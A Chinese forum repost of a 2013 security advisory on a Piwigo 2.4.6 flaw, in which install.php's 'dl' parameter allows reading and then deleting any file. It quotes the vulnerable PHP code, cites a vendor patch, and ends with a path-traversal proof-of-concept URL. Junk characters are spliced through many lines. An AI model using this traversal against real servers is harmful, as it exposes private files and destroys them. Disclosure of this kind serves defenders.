找回密码
 立即注册
查看: 2972|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。4 {- Q1 \# Q' A% o, i) h' ]8 U
! u( M2 f6 F% O% N
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。( j" I, k0 |7 K+ u. V% Q
====================================================================
  U& g" V* k1 o6 e% g# W/install.php:
/ Y: U. H5 _: n-------------, d9 ~- Y- O+ M" y
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))0 c2 H3 |( E  L8 u8 z+ Q& d0 h
114: {
7 C, ^6 J9 h% ~' B115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];7 Z$ E! `% J& j/ k& `
116:   header('Cache-Control: no-cache, must-revalidate');7 _# K+ J  V: c/ _& `7 e
117:   header('Pragma: no-cache');
) c3 z3 t. @) U7 C; d118:   header('Content-Disposition: attachment; filename="database.inc.php"');$ R+ z0 R# ?$ `# A1 ~
119:   header('Content-Transfer-Encoding: binary');; F/ M, _6 ^. D% ?' d' V
120:   header('Content-Length: '.filesize($filename));" C# A  w( x, \- N( P% I
121:   echo file_get_contents($filename);
& j* G% N7 g& ?5 K8 K5 n6 `, x122:   unlink($filename);9 A$ n9 M; a7 D
123:   exit();* {6 [: `/ k$ \3 ^
124: }  r2 W7 L) M7 g) p; K) D% C
====================================================================4 g4 C6 E1 H- B4 D
4 n. W4 x9 P3 O  L+ C; {5 p! g
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
9 W. B0 c: l) j: ~. u, [$ p& |           Apache 2.4.2 (Win32)$ R% L, @  i/ h
           PHP 5.4.4
5 N- r3 r' x& X) `2 q0 M           MySQL 5.5.25a/ e2 b8 M% @, v( a0 l% e

* e1 J0 V2 O! c  k! T* j6 k6 E( DVulnerability discovered by Gjoko 'LiquidWorm' Krstic, R. |5 u7 T+ H# \- b
                            @zeroscience/ L% M; b1 _3 |$ P, p9 z

1 Z. V" u) s2 SAdvisory ID: ZSL-2013-5127) u( c- s2 m1 ]$ s* n+ B( S
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
/ D; B9 S' a& }' N0 n+ R( n, FVendor Patch: http://piwigo.org/bugs/view.php?id=28439 s. D4 W" P  Y9 \+ k. i7 X/ p
( D# g! |5 D- \. ~% H
15.02.2013
' v8 g( S/ N* {7 Y' @
9 i# y0 o6 v0 }6 v6 i--2 o' j- B: m* N2 c. X2 b. x6 B
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt& o% {: @$ P) s

& }! h6 C' m0 e( D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表